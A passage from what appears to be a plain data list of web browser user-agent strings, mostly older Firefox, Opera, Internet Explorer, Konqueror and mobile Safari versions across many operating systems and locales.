Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010051407 CentOS/3.0.19-1.el5.centos Firefox/3.0.19 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.3pre -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 GTB7.0 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092813 Gentoo Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-2.fc12 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.4) Gecko/20091016 SUSE/3.5.4-1.1.2 Firefox/3.5.4 -Mozilla/5.0 (X11; U; Linux x86_64; ko-KR; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9) Gecko/2008060309 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu (hardy) Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu/hardy Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.5) Gecko/2008121623 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.9.1.2) Gecko/20090911 Slackware Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9b5) Gecko/2008041515 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.11) Gecko/20101028 CentOS/3.6-2.el5.centos Firefox/3.6.11 -Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 GTB5 -Mozilla/5.0 (X11; U; Linux; en-US; rv:1.9.1.11) Gecko/20100720 Firefox/3.5.11 -Mozilla/5.0 (X11; U; Linux; fr; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Mac OSX; it; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7 -Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.12) Gecko/20101030 Firefox/3.6.12 -Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.9.0.1) Gecko/2008081402 Firefox/3.0.1 -Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3 -Mozilla/5.0 (X11; U; Slackware Linux i686; en-US; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 -Mozilla/5.0 (X11; U; Slackware Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.30 Safari/532.5 -Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 -Mozilla/5.0 (X11; U; SunOS i86pc; fr; rv:1.9.0.4) Gecko/2008111710 Firefox/3.0.4 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020920 Netscape/7.0 -Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (X11; U; SunOS sun4u; it-IT; ) Gecko/20080000 Firefox/3.0 -Mozilla/5.0 (X11; U; Windows NT 5.0; en-US; rv:1.9b4) Gecko/2008030318 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Windows NT 6; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.587.0 Safari/534.12 -Mozilla/5.0 (X11; U; x86_64 Linux; en_US; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 -Mozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515) -Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR) -Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko) -Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.15-1.2054_FC5; X11; i686; en_US) KHTML/3.5.4 (like Gecko) -Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.16-2-k7) KHTML/3.5.0 (like Gecko) (Debian package 4:3.5.0-2bpo2) -Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Debian) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US) -Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322) -Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E) -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0) -Mozilla/5.0 (compatible; Yahoo! Slurp;http://help.yahoo.com/help/us/ysearch/slurp) -Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html) -Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.1021.10gin_lib.cc -Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B360 Safari/531.21.10 -Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 -Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 -Mozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 -Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7D11 Safari/531.21.10 -Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B5097d Safari/6531.22.7 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 -Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.60 Safari/534.30 -Mozilla/5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13 -Mozilla/5.0(Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6 -Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10 -Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc -Mozilla/6.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:2.0.0.0) Gecko/20061028 Firefox/3.0 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.7 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 Chrome/2.0.172.6 Safari/530.7 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 -Mozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) -Mozilla/6.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729) -Opera 9.4 (Windows NT 5.3; U; en) -Opera 9.4 (Windows NT 6.1; U; en) -Opera 9.7 (Windows NT 5.2; U; en) -Opera/10.50 (Windows NT 6.1; U; en-GB) Presto/2.2.2 -Opera/10.60 (Windows NT 5.1; U; en-US) Presto/2.6.30 Version/10.60 -Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60 -Opera/2.0.3920 (J2ME/MIDP; Opera Mini; en; U; ssr) -Opera/7.23 (Windows 98; U) [en] -Opera/8.0 (X11; Linux i686; U; cs) -Opera/8.00 (Windows NT 5.1; U; en) -Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr) -Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1316; fi; U; ssr) -Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4719; en; U; ssr) -Opera/8.02 (Qt embedded; Linux armv4ll; U) [en] SONY/COM1 -Opera/8.02 (Windows NT 5.1; U; en) -Opera/8.5 (X11; Linux i686; U; cs) -Opera/8.50 (Windows NT 5.1; U; en) -Opera/8.51 (Windows NT 5.1; U; en) -Opera/9.0 (Windows NT 5.0; U; en) -Opera/9.00 (Macintosh; PPC Mac OS X; U; en) -Opera/9.00 (Wii; U; ; 1038-58; Wii Shop Channel/1.0; en) -Opera/9.00 (Windows NT 5.1; U; en) -Opera/9.00 (Windows NT 5.2; U; en) -Opera/9.00 (Windows NT 6.0; U; en) -Opera/9.01 (X11; Linux i686; U; en) -Opera/9.02 (Windows NT 5.1; U; en) -Opera/9.10 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pl) -Opera/9.10 (Windows NT 5.1; U; es-es) -Opera/9.10 (Windows NT 5.1; U; fi) -Opera/9.10 (Windows NT 5.1; U; hu) -Opera/9.10 (Windows NT 5.1; U; it) -Opera/9.10 (Windows NT 5.1; U; nl) -Opera/9.10 (Windows NT 5.1; U; pl) -Opera/9.10 (Windows NT 5.1; U; pt) -Opera/9.10 (Windows NT 5.1; U; sv) -Opera/9.10 (Windows NT 5.1; U; zh-tw) -Opera/9.10 (Windows NT 5.2; U; de) -Opera/9.10 (Windows NT 5.2; U; en) -Opera/9.10 (Windows NT 6.0; U; en) -Opera/9.10 (Windows NT 6.0; U; it-IT) -Opera/9.10 (X11; Linux i386; U; en) -Opera/9.10 (X11; Linux i686; U; en) -Opera/9.10 (X11; Linux i686; U; kubuntu;pl) -Opera/9.10 (X11; Linux i686; U; pl) -Opera/9.10 (X11; Linux x86_64; U; en) -Opera/9.10 (X11; Linux; U; en) -Opera/9.12 (Windows NT 5.0; U) -Opera/9.12 (Windows NT 5.0; U; ru) -Opera/9.12 (X11; Linux i686; U; en) (Ubuntu) -Opera/9.20 (Windows NT 5.1; U; MEGAUPLOAD=1.0; es-es) -Opera/9.20 (Windows NT 5.1; U; en) -Opera/9.20 (Windows NT 5.1; U; es-AR) -Opera/9.20 (Windows NT 5.1; U; es-es) -Opera/9.20 (Windows NT 5.1; U; it) -Opera/9.20 (Windows NT 5.1; U; nb) -Opera/9.20 (Windows NT 5.1; U; zh-tw) -Opera/9.20 (Windows NT 5.2; U; en) -Opera/9.20 (Windows NT 6.0; U; de) -Opera/9.20 (Windows NT 6.0; U; en) -Opera/9.20 (Windows NT 6.0; U; es-es) -Opera/9.20 (X11; Linux i586; U; en) -Opera/9.20 (X11; Linux i686; U; en) -Opera/9.20 (X11; Linux i686; U; es-es) -Opera/9.20 (X11; Linux i686; U; pl) -Opera/9.20 (X11; Linux i686; U; ru) -Opera/9.20 (X11; Linux i686; U; tr) -Opera/9.20 (X11; Linux ppc; U; en) -Opera/9.20 (X11; Linux x86_64; U; en) -Opera/9.20(Windows NT 5.1; U; en) -Opera/9.21 (Macintosh; Intel Mac OS X; U; en) -Opera/9.21 (Macintosh; PPC Mac OS X; U; en) -Opera/9.21 (Windows 98; U; en) -Opera/9.21 (Windows NT 5.0; U; de) -Opera/9.21 (Windows NT 5.1; U; MEGAUPLOAD 1.0; en) -Opera/9.21 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) -Opera/9.21 (Windows NT 5.1; U; de) -Opera/9.21 (Windows NT 5.1; U; en) -Opera/9.21 (Windows NT 5.1; U; fr) -Opera/9.21 (Windows NT 5.1; U; nl) -Opera/9.21 (Windows NT 5.1; U; pl) -Opera/9.21 (Windows NT 5.1; U; pt-br) -Opera/9.21 (Windows NT 5.1; U; ru) -Opera/9.21 (Windows NT 5.2; U; en) -Opera/9.21 (Windows NT 6.0; U; en) -Opera/9.21 (Windows NT 6.0; U; nb) -Opera/9.21 (X11; Linux i686; U; de) -Opera/9.21 (X11; Linux i686; U; en) -Opera/9.21 (X11; Linux i686; U; es-es) -Opera/9.21 (X11; Linux x86_64; U; en) -Opera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) -Opera/9.22 (Windows NT 5.1; U; SV1; MEGAUPLOAD 2.0; ru) -Opera/9.22 (Windows NT 5.1; U; en) -Opera/9.22 (Windows NT 5.1; U; fr) -Opera/9.22 (Windows NT 5.1; U; pl) -Opera/9.22 (Windows NT 6.0; U; en) -Opera/9.22 (Windows NT 6.0; U; ru) -Opera/9.22 (X11; Linux i686; U; de) -Opera/9.22 (X11; Linux i686; U; en) -Opera/9.22 (X11; OpenBSD i386; U; en) -Opera/9.23 (Mac OS X; fr) -Opera/9.23 (Mac OS X; ru) -Opera/9.23 (Macintosh; Intel Mac OS X; U; ja) -Opera/9.23 (Nintendo Wii; U; ; 1038-58; Wii Internet Channel/1.0; en) -Opera/9.23 (Windows NT 5.0; U; de) -Opera/9.23 (Windows NT 5.0; U; en) -Opera/9.23 (Windows NT 5.1; U; SV1; MEGAUPLOAD 1.0; ru) -Opera/9.23 (Windows NT 5.1; U; da) -Opera/9.23 (Windows NT 5.1; U; de) -Opera/9.23 (Windows NT 5.1; U; en) -Opera/9.23 (Windows NT 5.1; U; fi) -Opera/9.23 (Windows NT 5.1; U; it) -Opera/9.23 (Windows NT 5.1; U; ja) -Opera/9.23 (Windows NT 5.1; U; pt) -Opera/9.23 (Windows NT 5.1; U; zh-cn) -Opera/9.23 (Windows NT 6.0; U; de) -Opera/9.23 (X11; Linux i686; U; en) -Opera/9.23 (X11; Linux i686; U; es-es) -Opera/9.23 (X11; Linux x86_64; U; en) -Opera/9.24 (Macintosh; PPC Mac OS X; U; en) -Opera/9.24 (Windows NT 5.0; U; ru) -Opera/9.24 (Windows NT 5.1; U; ru) -Opera/9.24 (Windows NT 5.1; U; tr) -Opera/9.24 (X11; Linux i686; U; de) -Opera/9.24 (X11; SunOS i86pc; U; en) -Opera/9.25 (Macintosh; Intel Mac OS X; U; en) -Opera/9.25 (Macintosh; PPC Mac OS X; U; en) -Opera/9.25 (OpenSolaris; U; en) -Opera/9.25 (Windows NT 4.0; U; en) -Opera/9.25 (Windows NT 5.0; U; cs) -Opera/9.25 (Windows NT 5.0; U; en) -Opera/9.25 (Windows NT 5.1; U; MEGAUPLOAD 1.0; pt-br) -Opera/9.25 (Windows NT 5.1; U; de) -Opera/9.25 (Windows NT 5.1; U; lt) -Opera/9.25 (Windows NT 5.1; U; ru) -Opera/9.25 (Windows NT 5.1; U; zh-cn) -Opera/9.25 (Windows NT 5.2; U; en) -Opera/9.25 (Windows NT 6.0; U; MEGAUPLOAD 1.0; ru) -Opera/9.25 (Windows NT 6.0; U; SV1; MEGAUPLOAD 2.0; ru) -Opera/9.25 (Windows NT 6.0; U; en-US) -Opera/9.25 (Windows NT 6.0; U; ru) -Opera/9.25 (Windows NT 6.0; U; sv) -Opera/9.25 (X11; Linux i686; U; en) -Opera/9.25 (X11; Linux i686; U; fr) -Opera/9.25 (X11; Linux i686; U; fr-ca) -Opera/9.26 (Macintosh; PPC Mac OS X; U; en) -Opera/9.26 (Windows NT 5.1; U; MEGAUPLOAD 2.0; en) -Opera/9.26 (Windows NT 5.1; U; de) -Opera/9.26 (Windows NT 5.1; U; nl) -Opera/9.26 (Windows NT 5.1; U; pl) -Opera/9.26 (Windows NT 5.1; U; zh-cn) -Opera/9.27 (Macintosh; Intel Mac OS X; U; sv) -Opera/9.27 (Windows NT 5.1; U; ja) -Opera/9.27 (Windows NT 5.2; U; en) -Opera/9.27 (X11; Linux i686; U; en) -Opera/9.27 (X11; Linux i686; U; fr) -Opera/9.30 (Nintendo Wii; U; ; 2047-7; de) -Opera/9.30 (Nintendo Wii; U; ; 2047-7; fr) -Opera/9.30 (Nintendo Wii; U; ; 2047-7;en) -Opera/9.30 (Nintendo Wii; U; ; 2047-7;es) -Opera/9.30 (Nintendo Wii; U; ; 2047-7;pt-br) -Opera/9.30 (Nintendo Wii; U; ; 2071; Wii Shop Channel/1.0; en) -Opera/9.5 (Windows NT 5.1; U; fr) -Opera/9.5 (Windows NT 6.0; U; en) -Opera/9.50 (Macintosh; Intel Mac OS X; U; de) -Opera/9.50 (Macintosh; Intel Mac OS X; U; en) -Opera/9.50 (Windows NT 5.1; U; es-ES) -Opera/9.50 (Windows NT 5.1; U; it) -Opera/9.50 (Windows NT 5.1; U; nl) -Opera/9.50 (Windows NT 5.1; U; nn) -Opera/9.50 (Windows NT 5.1; U; ru) -Opera/9.50 (Windows NT 5.2; U; it) -Opera/9.50 (X11; Linux i686; U; es-ES) -Opera/9.50 (X11; Linux ppc; U; en) -Opera/9.50 (X11; Linux x86_64; U; nb) -Opera/9.50 (X11; Linux x86_64; U; pl) -Opera/9.51 (Macintosh; Intel Mac OS X; U; en) -Opera/9.51 (Windows NT 5.1; U; da) -Opera/9.51 (Windows NT 5.1; U; en) -Opera/9.51 (Windows NT 5.1; U; en-GB) -Opera/9.51 (Windows NT 5.1; U; es-AR) -Opera/9.51 (Windows NT 5.1; U; es-LA) -Opera/9.51 (Windows NT 5.1; U; fr) -Opera/9.51 (Windows NT 5.1; U; nn) -Opera/9.51 (Windows NT 5.2; U; en) -Opera/9.51 (Windows NT 6.0; U; en) -Opera/9.51 (Windows NT 6.0; U; es) -Opera/9.51 (Windows NT 6.0; U; sv) -Opera/9.51 (X11; Linux i686; U; Linux Mint; en) -Opera/9.51 (X11; Linux i686; U; de) -Opera/9.51 (X11; Linux i686; U; fr) -Opera/9.52 (Macintosh; Intel Mac OS X; U; pt) -Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR) -Opera/9.52 (Macintosh; PPC Mac OS X; U; fr) -Opera/9.52 (Macintosh; PPC Mac OS X; U; ja) -Opera/9.52 (Windows NT 5.0; U; en) -Opera/9.52 (Windows NT 5.2; U; ru) -Opera/9.52 (Windows NT 6.0; U; Opera/9.52 (X11; Linux x86_64; U); en) -Opera/9.52 (Windows NT 6.0; U; de) -Opera/9.52 (Windows NT 6.0; U; en) -Opera/9.52 (Windows NT 6.0; U; fr) -Opera/9.52 (X11; Linux i686; U; cs) -Opera/9.52 (X11; Linux i686; U; en) -Opera/9.52 (X11; Linux i686; U; fr) -Opera/9.52 (X11; Linux ppc; U; de) -Opera/9.52 (X11; Linux x86_64; U) -Opera/9.52 (X11; Linux x86_64; U; en) -Opera/9.52 (X11; Linux x86_64; U; ru) -Opera/9.60 (Windows NT 5.0; U; en) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; en-GB) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; es-ES) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; sv) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; tr) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; bg) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; de) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; ru) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; uk) Presto/2.1.1 -Opera/9.60 (X11; Linux i686; U; en-GB) Presto/2.1.1 -Opera/9.60 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.60 (X11; Linux x86_64; U) -Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; cs) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; de) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; en-GB) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; fr) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 -Opera/9.61 